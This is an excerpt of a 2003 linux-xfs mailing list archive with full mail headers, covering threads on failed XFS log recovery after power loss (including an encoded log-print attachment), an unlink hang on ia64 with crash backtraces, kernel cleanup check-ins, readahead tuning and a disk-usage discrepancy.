h8MKIfOO010246 for ; Mon, 22 Sep 2003 13:18:41 -0700 Received: from tulip-e236.americas.sgi.com (tulip-e236.americas.sgi.com [128.162.236.208]) by flecktone.americas.sgi.com (8.12.9/8.12.9/generic_config-1.2) with ESMTP id h8MMFccc11724878; Mon, 22 Sep 2003 17:15:38 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.232.100]) by tulip-e236.americas.sgi.com (8.12.9/SGI-server-1.8) with ESMTP id h8MMFdSn29724667; Mon, 22 Sep 2003 17:15:39 -0500 (CDT) Received: from jen.americas.sgi.com (localhost.localdomain [127.0.0.1]) by jen.americas.sgi.com (8.12.8/8.12.8) with ESMTP id h8MMFckf022591; Mon, 22 Sep 2003 17:15:38 -0500 Received: (from lord@localhost) by jen.americas.sgi.com (8.12.8/8.12.8/Submit) id h8MMFche022589; Mon, 22 Sep 2003 17:15:38 -0500 X-Authentication-Warning: jen.americas.sgi.com: lord set sender to lord@sgi.com using -f Subject: Re: XFS recovery issues From: Steve Lord To: Cory Visi Cc: linux-xfs@oss.sgi.com, Net Llama! In-Reply-To: References: Content-Type: text/plain Content-Transfer-Encoding: 7bit Organization: Message-Id: <1064268937.21008.41.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) Date: 22 Sep 2003 17:15:37 -0500 X-archive-position: 487 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 825 Lines: 32 On Mon, 2003-09-22 at 16:16, Cory Visi wrote: > On Mon, 22 Sep 2003, Net Llama! wrote: > > > > Are you running the latest release of xfsprogs? > > I'm not sure if it matters, but I'm running: > > acl-2.2.13 > attr-2.4.7 > dmapi-2.0.8 > xfsdump-2.2.13 > xfsprogs-2.5.4 > > Do any of these affect the XFS recovery during a mount? > Recovery is completely local to the kernel, and should not be affected by user space in anyway. If you have a way of getting to the device before it mounts can you run xfs_logprint -t on it? Since this is your root it may be a little difficult. The output looks a little like you have a hole in your log which is not being coped with. Steve -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Mon Sep 22 15:34:57 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 22 Sep 2003 15:35:03 -0700 (PDT) Received: from atlrel6.hp.com (atlrel6.hp.com [156.153.255.205]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8MMYkFx019300 for ; Mon, 22 Sep 2003 15:34:47 -0700 Received: from smtp1.fc.hp.com (smtp.fc.hp.com [15.11.136.119]) by atlrel6.hp.com (Postfix) with ESMTP id D123E1C0272A for ; Mon, 22 Sep 2003 18:01:55 -0400 (EDT) Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30]) by smtp1.fc.hp.com (Postfix) with ESMTP id 8EC59381D2 for ; Mon, 22 Sep 2003 16:01:55 -0600 (MDT) Received: from debian (krebs.dannf [10.8.0.7]) by ldl.fc.hp.com (Postfix) with ESMTP id 5300F1340B0 for ; Mon, 22 Sep 2003 16:01:55 -0600 (MDT) Received: by debian (Postfix, from userid 20800) id 2594D39665F; Mon, 22 Sep 2003 16:01:55 -0600 (MDT) Date: Mon, 22 Sep 2003 16:01:55 -0600 From: dann frazier To: linux-xfs@oss.sgi.com Subject: unlink hang/xlog_regrant_write_log_space Message-ID: <20030922220155.GC31104@ldl.fc.hp.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.4i X-archive-position: 488 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: dannf@hp.com Precedence: bulk X-list: linux-xfs Content-Length: 4699 Lines: 94 hey, We're seeing a condition where processes accessing an xfs filesystem are hanging - xfs 1.2.0/linux-ia64 2.4.20. The first wedged process is in an unlink call. it has downed &nd.dentry->d_inode->i_sem in sys_unlink(), and has gone to sleep - specifically, xlog_regrant_write_log_space() called _sv_wait(). The other processes are blocked waiting for this semaphore. Backtraces of the first process and one of the other processes are below. crash> bt 22241 PID: 22241 TASK: e0000040c8a68000 CPU: 1 COMMAND: "nwchem" #0 [BSP:e0000040c8a69618] schedule at e000000004477270 #1 [BSP:e0000040c8a695e8] schedule_timeout at e000000004475e60 #2 [BSP:e0000040c8a69578] xlog_regrant_write_log_space at e00000000 #3 [BSP:e0000040c8a69530] xfs_log_reserve at e0000000046ab690 #4 [BSP:e0000040c8a694c8] xfs_trans_reserve at e0000000046c44f0 #5 [BSP:e0000040c8a69430] xfs_itruncate_finish at e0000000046a14f0 n #6 [BSP:e0000040c8a693d8] xfs_inactive at e0000000046d34d0 #7 [BSP:e0000040c8a693b0] vn_rele at e0000000046fa560 #8 [BSP:e0000040c8a69398] linvfs_clear_inode at e0000000046f8570 #9 [BSP:e0000040c8a69370] clear_inode at e000000004517d50 #10 [BSP:e0000040c8a69338] iput at e000000004519850 #11 [BSP:e0000040c8a69318] d_delete at e000000004513e20 #12 [BSP:e0000040c8a692e8] vfs_unlink at e000000004500000 #13 [BSP:e0000040c8a69270] sys_unlink at e000000004500320 #14 [BSP:e0000040c8a69270] ia64_ret_from_syscall at e00000000440e360 EFRAME: e0000040c8a6fe70 B0: 400000000234eca0 CR_IIP: 2000000002cdac20 CR_IPSR: 0000141308526010 CR_IFS: 0000000000000000 AR_PFS: c00000000000030a AR_RSC: 000000000000000f AR_UNAT: 0000000000000000 AR_RNAT: 0000000000000000 AR_CCV: 0000000000000001 AR_FPSR: 0009804c8a74437f LOADRS: 0000000002f00000 AR_BSPSTORE: 600000ff80000dd0 B6: 2000000002cdac20 B7: 400000000254a900 PR: 002000000000227d R1: 2000000002d3e1c8 R2: 0000000000000000 R3: 600000ffffff1498 R8: 8000000000000000 R9: 600000ffffff14a8 R10: 0000000000000000 R11: 60000000009900e0 R12: 600000ffffff1040 R13: 20000000027ea080 R14: 600000000094c248 R15: 0000000000000408 R16: 2000000002cdac20 R17: 2000000002d99f90 R18: 2000000002d99f98 R19: 6000000053727020 R20: 2000000002d99e68 R21: 2000000002d9a698 R22: 2000000002d99f80 R23: 0000000000000012 R24: 0000000000000090 R25: 2000000002d99e70 R26: 60000000537270a8 R27: 6000000003e5dad8 R28: 000000000000003b R29: 600000000094dbf8 R30: 0000000000000000 R31: 600000ffffff11c8 F6: 1003e60000000531c82f0 F7: 1003e0000000000000008 F8: 1003e60000000530e1380 F9: 1003e0000000000000033 crash> bt 22242 PID: 22242 TASK: e000000159608000 CPU: 0 COMMAND: "nwchem" #0 [BSP:e000000159609338] schedule at e000000004477270 #1 [BSP:e0000001596092e8] __down at e000000004429df0 #2 [BSP:e000000159609270] sys_unlink at e000000004500260 #3 [BSP:e000000159609270] ia64_ret_from_syscall at e00000000440e360 EFRAME: e00000015960fe50 B0: 0000000000000000 CR_IIP: ed96deac00000026 CR_IPSR: e00000011c85a009 CR_IFS: 0000000000000010 AR_PFS: 0000141308526010 AR_RSC: 2000000002cdac20 AR_UNAT: 0000000000000000 AR_RNAT: 0000000000000000 AR_CCV: 000000000000003b AR_FPSR: 600000000094dbf8 LOADRS: 0000000000000000 AR_BSPSTORE: 0000000000000000 B6: 000000000000000f B7: 600000ffffff11c8 PR: c00000000000030a R1: 600000ff80000dd0 R2: 002000000000227d R3: 2000000002cdac20 R8: 600000ffffff1040 R9: 20000000027ea080 R10: 600000000094c248 R11: 0000000000000408 R12: 0000000002f00000 R13: 2000000002d3e1c8 R14: 0000000000000000 R15: 600000ffffff1498 R16: 8000000000000000 R17: 600000ffffff14a8 R18: 0000000000000000 R19: 60000000009900e0 R20: 2000000002cdac20 R21: 2000000002d99ed0 R22: 2000000002d99ed8 R23: 600000005370c380 R24: 2000000002d99e68 R25: 2000000002d9a698 R26: 2000000002d99ec0 R27: 0000000000000006 R28: 0000000000000030 R29: 2000000002d99e70 R30: 600000005370c3a8 R31: 6000000003e5dad8 F6: 9804c8a74437f0000000000000001 F7: 400000000254a900400000000234eca0 F8: 1003e60000000531c4270 F9: 1003e0000000000000008 here's the mount options used: /dev/md9 on /scratch type xfs (rw,biosize=16,logbufs=8,logbsize=32768) -- --------------------------- dann frazier Hewlett-Packard Linux and Open Source Lab dannf@hp.com (970) 898-0800 From owner-linux-xfs@oss.sgi.com Mon Sep 22 16:54:41 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 22 Sep 2003 16:54:56 -0700 (PDT) Received: from phear.lwz.org (postfix@ool-182c4041.dyn.optonline.net [24.44.64.65]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8MNsdFx024984 for ; Mon, 22 Sep 2003 16:54:40 -0700 Received: by phear.lwz.org (Postfix, from userid 501) id C2F4AD3CF; Mon, 22 Sep 2003 19:54:38 -0400 (EDT) Received: from localhost (localhost [127.0.0.1]) by phear.lwz.org (Postfix) with ESMTP id BB5BF3ED0; Mon, 22 Sep 2003 19:54:38 -0400 (EDT) Date: Mon, 22 Sep 2003 19:54:38 -0400 (EDT) From: Cory Visi To: Cc: Steve Lord Subject: Re: XFS recovery issues In-Reply-To: <1064268937.21008.41.camel@jen.americas.sgi.com> Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="739787072-1956718843-1064274878=:32341" X-archive-position: 489 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: merlin@phear.lwz.org Precedence: bulk X-list: linux-xfs Content-Length: 6491 Lines: 136 This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --739787072-1956718843-1064274878=:32341 Content-Type: TEXT/PLAIN; charset=US-ASCII Hi, I just want to reiterate that this problem is reliably reproducable. I can cut power to the machine as many times as I want and XFS never recovers. I can even do a "sync" beforehand and it still does not recover. Furthermore, if I boot with a boot CD and attempt a mount, XFS recovers fine (on all partitions). For some reason my kernel is not able to recover from an improper shutdown. Attached is a log print generated by xfs_logprint -t off a boot CD as requested. Here's an xfs_info printout of the partition as well: meta-data=/mnt/test isize=256 agcount=3, agsize=436820 blks = sectsz=512 data = bsize=4096 blocks=1310460, imaxpct=25 = sunit=0 swidth=0 blks, unwritten=0 naming =version 2 bsize=4096 log =internal bsize=4096 blocks=16384, version=1 = sectsz=512 sunit=0 blks realtime =none extsz=65536 blocks=0, rtextents=0 -Cory Visi On 22 Sep 2003, Steve Lord wrote: > On Mon, 2003-09-22 at 16:16, Cory Visi wrote: > > On Mon, 22 Sep 2003, Net Llama! wrote: > > > > > > > Are you running the latest release of xfsprogs? > > > > I'm not sure if it matters, but I'm running: > > > > acl-2.2.13 > > attr-2.4.7 > > dmapi-2.0.8 > > xfsdump-2.2.13 > > xfsprogs-2.5.4 > > > > Do any of these affect the XFS recovery during a mount? > > > > Recovery is completely local to the kernel, and should not be affected > by user space in anyway. If you have a way of getting to the device > before it mounts can you run xfs_logprint -t on it? Since this is your > root it may be a little difficult. > > The output looks a little like you have a hole in your log which is > not being coped with. --739787072-1956718843-1064274878=:32341 Content-Type: TEXT/PLAIN; charset=US-ASCII; name=log Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: attachment; filename=log eGZzX2xvZ3ByaW50Og0KICAgIGRhdGEgZGV2aWNlOiAweDgwMQ0KICAgIGxv ZyBkZXZpY2U6IDB4ODAxIGRhZGRyOiAzNDk0NTkyIGxlbmd0aDogMTMxMDcy DQoNCiAgICBsb2cgdGFpbDogMzE0IGhlYWQ6IDMyMyBzdGF0ZTogPERJUlRZ Pg0KDQoNCkxPRyBSRUMgQVQgTFNOIGN5Y2xlIDEgYmxvY2sgMzE0ICgweDEs IDB4MTNhKQ0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KVFJB TlM6IHRpZDoweGNmZDliOTYwICB0eXBlOlNFVEFUVFJfU0laRSAgI2l0ZW1z OjIgIHRyYW5zOjB4MCAgcToweDgwOTc5YTANCklOTzogY250OjIgdG90YWw6 MiBhOjB4ODA5NzljMCBsZW46NTIgYToweDgwOTdhMTAgbGVuOjk2IA0KCUlO T0RFOiAjcmVnczoyICAgaW5vOjB4ODQxOGM0ICBmbGFnczoweDEgICBkc2l6 ZTowDQoJQ09SRSBpbm9kZToNCkVGSTogY250OjEgdG90YWw6MSBhOjB4ODA5 N2E3OCBsZW46MjggDQoJRUZJOiAgI3JlZ3M6MSAgICBudW1fZXh0ZW50czox ICBpZDoweGZmZmZmZmZmY2Y3OTU3OWMNCgkoczogMHg5NGZlYiwgbDogMikg DQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQpUUkFOUzogdGlk OjB4Y2ZkOWI5NjAgIHR5cGU6U0VUQVRUUl9TSVpFICAjaXRlbXM6NiAgdHJh bnM6MHgwICBxOjB4ODA5N2E5OA0KRUZEOiBjbnQ6MSB0b3RhbDoxIGE6MHg4 MDk3YTc4IGxlbjoyOCANCglFRkQ6ICAjcmVnczogMSAgICBudW1fZXh0ZW50 czogMSAgaWQ6IDB4ZmZmZmZmZmZjZjc5NTc5Yw0KCShzOiAweDk0ZmViLCBs OiAyKSANCkJVRjogY250OjIgdG90YWw6MiBhOjB4ODA5NzlhMCBsZW46MjQg YToweDgwOTdhYzggbGVuOjEyOCANCglCVUY6ICAjcmVnczoyICAgc3RhcnQg Ymxrbm86MHgzNTUyYTEgICBsZW46MSAgIGJtYXAgc2l6ZToxDQoJQUdGIEJ1 ZmZlcjogKFhBR0YpDQpCVUY6IGNudDoyIHRvdGFsOjIgYToweDgwOTdhNDgg bGVuOjI4IGE6MHg4MDk3Yjg4IGxlbjoyNTYgDQoJQlVGOiAgI3JlZ3M6MiAg IHN0YXJ0IGJsa25vOjB4M2MyZTAwICAgbGVuOjggICBibWFwIHNpemU6Mg0K CUJVRiBEQVRBDQpCVUY6IGNudDoyIHRvdGFsOjIgYToweDgwOTdjOTAgbGVu OjI4IGE6MHg4MDk3Y2U4IGxlbjoyNTYgDQoJQlVGOiAgI3JlZ3M6MiAgIHN0 YXJ0IGJsa25vOjB4M2ZjNTUwICAgbGVuOjggICBibWFwIHNpemU6Mg0KCUJV RiBEQVRBDQpJTk86IGNudDoyIHRvdGFsOjIgYToweDgwOTc5YzAgbGVuOjUy IGE6MHg4MDk3ZTI4IGxlbjo5NiANCglJTk9ERTogI3JlZ3M6MiAgIGlubzow eDg0MThjNCAgZmxhZ3M6MHgxICAgZHNpemU6MA0KCUNPUkUgaW5vZGU6DQpC VUY6IGNudDoyIHRvdGFsOjIgYToweDgwOTdlOTAgbGVuOjI0IGE6MHg4MDk3 ZWU4IGxlbjoxMjggDQoJQlVGOiAgI3JlZ3M6MiAgIHN0YXJ0IGJsa25vOjB4 MCAgIGxlbjoxICAgYm1hcCBzaXplOjENCglTVVBFUiBCbG9jayBCdWZmZXI6 DQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQpUUkFOUzogdGlk OjB4Y2ZkOWI5NjAgIHR5cGU6U0VUQVRUUl9TSVpFICAjaXRlbXM6MSAgdHJh bnM6MHgwICBxOjB4ODA5N2ViMA0KSU5POiBjbnQ6MiB0b3RhbDoyIGE6MHg4 MDk3OWMwIGxlbjo1MiBhOjB4ODA5N2UyOCBsZW46OTYgDQoJSU5PREU6ICNy ZWdzOjIgICBpbm86MHg4NDE4YzQgIGZsYWdzOjB4MSAgIGRzaXplOjANCglD T1JFIGlub2RlOg0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0K VFJBTlM6IHRpZDoweGNmZDliOTgwICB0eXBlOklOQUNUSVZFICAjaXRlbXM6 MSAgdHJhbnM6MHgwICBxOjB4ODA5N2ViMA0KSU5POiBjbnQ6MiB0b3RhbDoy IGE6MHg4MDk3OWMwIGxlbjo1MiBhOjB4ODA5N2UyOCBsZW46OTYgDQoJSU5P REU6ICNyZWdzOjIgICBpbm86MHg4NDE4YzQgIGZsYWdzOjB4MSAgIGRzaXpl OjANCglDT1JFIGlub2RlOg0KDQpMT0cgUkVDIEFUIExTTiBjeWNsZSAxIGJs b2NrIDMxOSAoMHgxLCAweDEzZikNCj09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT0NClRSQU5TOiB0aWQ6MHhjZmQ5YjlhMCAgdHlwZTpTVFJBVF9X UklURSAgI2l0ZW1zOjUgIHRyYW5zOjB4MCAgcToweDgwOTdlYjANCklOTzog Y250OjMgdG90YWw6MyBhOjB4ODA5NzljMCBsZW46NTIgYToweDgwOTdlMjgg bGVuOjk2IGE6MHg4MDk3YjcwIGxlbjoxNiANCglJTk9ERTogI3JlZ3M6MyAg IGlubzoweDg0MThjNCAgZmxhZ3M6MHg1ICAgZHNpemU6MTYNCglDT1JFIGlu b2RlOg0KCQlEQVRBIEZPUksgRVhURU5UUyBpbm9kZSBkYXRhOg0KQlVGOiBj bnQ6MiB0b3RhbDoyIGE6MHg4MDk3ZGYwIGxlbjoyNCBhOjB4ODA5N2FjOCBs ZW46MTI4IA0KCUJVRjogICNyZWdzOjIgICBzdGFydCBibGtubzoweDM1NTJh MSAgIGxlbjoxICAgYm1hcCBzaXplOjENCglBR0YgQnVmZmVyOiAoWEFHRikN CkJVRjogY250OjIgdG90YWw6MiBhOjB4ODA5N2M5MCBsZW46MjggYToweDgw OTdjZTggbGVuOjI1NiANCglCVUY6ICAjcmVnczoyICAgc3RhcnQgYmxrbm86 MHgzZmM1NTAgICBsZW46OCAgIGJtYXAgc2l6ZToyDQoJQlVGIERBVEENCkJV RjogY250OjIgdG90YWw6MiBhOjB4ODA5N2E0OCBsZW46MjggYToweDgwOTdl ZTggbGVuOjI1NiANCglCVUY6ICAjcmVnczoyICAgc3RhcnQgYmxrbm86MHgz YzJlMDAgICBsZW46OCAgIGJtYXAgc2l6ZToyDQoJQlVGIERBVEENCkJVRjog Y250OjIgdG90YWw6MiBhOjB4ODA5NzlhMCBsZW46MjQgYToweDgwOTdiZDAg bGVuOjEyOCANCglCVUY6ICAjcmVnczoyICAgc3RhcnQgYmxrbm86MHgwICAg bGVuOjEgICBibWFwIHNpemU6MQ0KCVNVUEVSIEJsb2NrIEJ1ZmZlcjoNCg== --739787072-1956718843-1064274878=:32341-- From owner-linux-xfs@oss.sgi.com Tue Sep 23 00:14:36 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 23 Sep 2003 00:15:37 -0700 (PDT) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8N7EWFx012217 for ; Tue, 23 Sep 2003 00:14:36 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by zok.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8N7EQq0030940 for ; Tue, 23 Sep 2003 00:14:27 -0700 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id h8N7ENVB3114544 for ; Tue, 23 Sep 2003 17:14:23 +1000 (EST) Received: (from nathans@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id h8N7EM3X3120630 for linux-xfs@oss.sgi.com; Tue, 23 Sep 2003 17:14:22 +1000 (EST) Date: Tue, 23 Sep 2003 17:14:22 +1000 (EST) From: Nathan Scott Message-Id: <200309230714.h8N7EM3X3120630@snort.melbourne.sgi.com> To: linux-xfs@oss.sgi.com Subject: TAKE - minor 2.4 cleanups X-archive-position: 490 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@snort.melbourne.sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 1116 Lines: 44 Rename _inode_init_once to __inode_init_once to follow the usual kernel naming conventions a bit more closely. Date: Mon Sep 22 23:30:11 PDT 2003 Workarea: snort.melbourne.sgi.com:/home/nathans/clean-2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-linux:slinx:158786a linux/fs/xfs/linux/xfs_super.c - 1.271 Modid: 2.4.x-xfs:slinx:158786b linux/kernel/ksyms.c - 1.147 linux/include/linux/fs.h - 1.165 linux/fs/inode.c - 1.67 Remove a spurious difference from the current 2.4 kernel tree. Date: Tue Sep 23 00:11:08 PDT 2003 Workarea: snort.melbourne.sgi.com:/home/nathans/clean-2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:158789a linux/fs/buffer.c - 1.122 Remove a spurious difference from the current 2.4 kernel tree. Date: Tue Sep 23 00:12:58 PDT 2003 Workarea: snort.melbourne.sgi.com:/home/nathans/clean-2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:158790a linux/fs/inode.c - 1.68 From owner-linux-xfs@oss.sgi.com Tue Sep 23 00:22:46 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 23 Sep 2003 00:23:09 -0700 (PDT) Received: from tolkor.sgi.com (tolkor.SGI.COM [198.149.18.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8N7MjFx015584 for ; Tue, 23 Sep 2003 00:22:46 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by tolkor.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with SMTP id h8N7dVHc022345 for ; Tue, 23 Sep 2003 02:39:32 -0500 Received: from wobbly.melbourne.sgi.com (wobbly.melbourne.sgi.com [134.14.55.135]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id RAA01540; Tue, 23 Sep 2003 17:22:34 +1000 Received: from frodo.melbourne.sgi.com (root@frodo.melbourne.sgi.com [134.14.55.153]) by wobbly.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id h8N7MWYN033767; Tue, 23 Sep 2003 17:22:33 +1000 (EST) Received: from frodo.melbourne.sgi.com (nathans@localhost [127.0.0.1]) by frodo.melbourne.sgi.com (8.12.9/8.12.9/Debian-3) with ESMTP id h8N7KDIl003496; Tue, 23 Sep 2003 17:20:13 +1000 Received: (from nathans@localhost) by frodo.melbourne.sgi.com (8.12.9/8.12.9/Debian-3) id h8N7KDBX003494; Tue, 23 Sep 2003 17:20:13 +1000 Date: Tue, 23 Sep 2003 17:20:12 +1000 From: Nathan Scott To: Cory Visi Cc: linux-xfs@oss.sgi.com, Steve Lord Subject: Re: XFS recovery issues Message-ID: <20030923072012.GC2325@frodo> References: <1064268937.21008.41.camel@jen.americas.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.3i X-archive-position: 491 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 1405 Lines: 34 On Mon, Sep 22, 2003 at 07:54:38PM -0400, Cory Visi wrote: > Hi, I just want to reiterate that this problem is reliably reproducable. I > can cut power to the machine as many times as I want and XFS never > recovers. I can even do a "sync" beforehand and it still does not recover. > Furthermore, if I boot with a boot CD and attempt a mount, XFS recovers > fine (on all partitions). > > For some reason my kernel is not able to recover from an improper > shutdown. > > Attached is a log print generated by xfs_logprint -t off a boot CD as > requested. > > Here's an xfs_info printout of the partition as well: > meta-data=/mnt/test isize=256 agcount=3, agsize=436820 blks > = sectsz=512 > data = bsize=4096 blocks=1310460, imaxpct=25 > = sunit=0 swidth=0 blks, unwritten=0 > naming =version 2 bsize=4096 > log =internal bsize=4096 blocks=16384, version=1 > = sectsz=512 sunit=0 blks > realtime =none extsz=65536 blocks=0, rtextents=0 > What compiler version are you using Cory? There was a change that went into xfs_log.h a little while back in an area that has been sensitive to compiler versions in the past (see xfs_log.h) and I wonder if that could be the root cause here. cheers. -- Nathan From owner-linux-xfs@oss.sgi.com Tue Sep 23 00:30:08 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 23 Sep 2003 00:30:26 -0700 (PDT) Received: from smtpzilla3.xs4all.nl (smtpzilla3.xs4all.nl [194.109.127.139]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8N7U0Fx016246 for ; Tue, 23 Sep 2003 00:30:07 -0700 Received: from auto-nb1.xs4all.nl (coltex.xs4all.nl [213.84.127.28]) by smtpzilla3.xs4all.nl (8.12.9/8.12.9) with ESMTP id h8N7Tv9s070869; Tue, 23 Sep 2003 09:29:57 +0200 (CEST) Message-Id: <4.3.2.7.2.20030923092739.038dee40@pop.xs4all.nl> X-Sender: knuffie@pop.xs4all.nl X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Tue, 23 Sep 2003 09:29:55 +0200 To: Frank Hellmann , linux-xfs@oss.sgi.com From: Seth Mos Subject: Re: Read performance issues with 2.6.0test5? In-Reply-To: <3F6EFF6E.9040005@opticalart.de> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-archive-position: 492 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: knuffie@xs4all.nl Precedence: bulk X-list: linux-xfs Content-Length: 724 Lines: 23 At 15:55 22-9-2003 +0200, Frank Hellmann wrote: >Hi! > >That is a bit weird result, isn't it? On the hand-patched 2.4.20-18.9 >Kernel with XFS 1.3.0pre4 I'll get much better read performance and about >similar write performance. I checked if there are any issues regarding the >internal log and tried an external one, but not much of a change with that. The readahead defaults are skewed. Which comes from the Red Hat Errata kernel. It changed from 2.4.18-27 to 2.4.20-18. see /proc/sys/vm/max-readahead. Default went from 127 to 31. Since you seem to have some decent hardware *koff* I suggest setting max-readahead to something like 511 or so. Cheers -- Seth It might just be your lucky day, if you only knew. From owner-linux-xfs@oss.sgi.com Tue Sep 23 01:43:11 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 23 Sep 2003 01:43:32 -0700 (PDT) Received: from imag.imag.fr (imag.imag.fr [129.88.30.1]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8N8h9Fx019226 for ; Tue, 23 Sep 2003 01:43:10 -0700 Received: from mail-veri.imag.fr (pave.imag.fr [129.88.43.12]) by imag.imag.fr (8.12.10/8.12.10) with ESMTP id h8N8h7oK001406 for ; Tue, 23 Sep 2003 10:43:07 +0200 (CEST) Received: from astazou.imag.fr ([129.88.43.102] helo=astazou.imag.fr.imag.fr ident=kowalski) by mail-veri.imag.fr with esmtp (Exim 3.35 #1 (Debian)) id 1A1ilH-00083N-00 for ; Tue, 23 Sep 2003 10:43:07 +0200 To: linux-xfs@oss.sgi.com Subject: wrong filesystem space usage From: Nicolas Kowalski Date: Tue, 23 Sep 2003 10:43:07 +0200 Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.4 (Common Lisp, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-IMAG-MailScanner: Found to be clean X-IMAG-MailScanner-Information: Please contact the ISP for more information X-archive-position: 493 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: Nicolas.Kowalski@imag.fr Precedence: bulk X-list: linux-xfs Content-Length: 689 Lines: 27 Hello. We have several servers here using XFS filesystems ; they work perfectly well, except for one of them, reporting a wrong filesystem space usage. It seems that this filesystem grows everyday since its installation last July. No reboot has been done since 54 days (and I would not like to do one, as it is an important production server). Here are the details: Linux olan 2.4.21-xfs-olan #1 Wed Jul 30 09:29:56 CEST 2003 i686 unknown olan:/var# df . Filesystem 1k-blocks Used Available Use% Mounted on /dev/sda4 5750784 4388576 1362208 77% /var olan:/var# du -s 2692296 . Has anyone an idea of what is wrong ? Thanks in advance. -- Nicolas From owner-linux-xfs@oss.sgi.com Tue Sep 23 02:09:20 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 23 Sep 2003 02:09:44 -0700 (PDT) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8N99KFx020723 for ; Tue, 23 Sep 2003 02:09:20 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by zok.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with SMTP id h8N99Dq0011332 for ; Tue, 23 Sep 2003 02:09:14 -0700 Received: from kao2.melbourne.sgi.com (kao2.melbourne.sgi.com [134.14.55.180]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id TAA02504 for ; Tue, 23 Sep 2003 19:09:12 +1000 Received: by kao2.melbourne.sgi.com (Postfix, from userid 16331) id 17605C00A6; Tue, 23 Sep 2003 19:09:12 +1000 (EST) Received: from 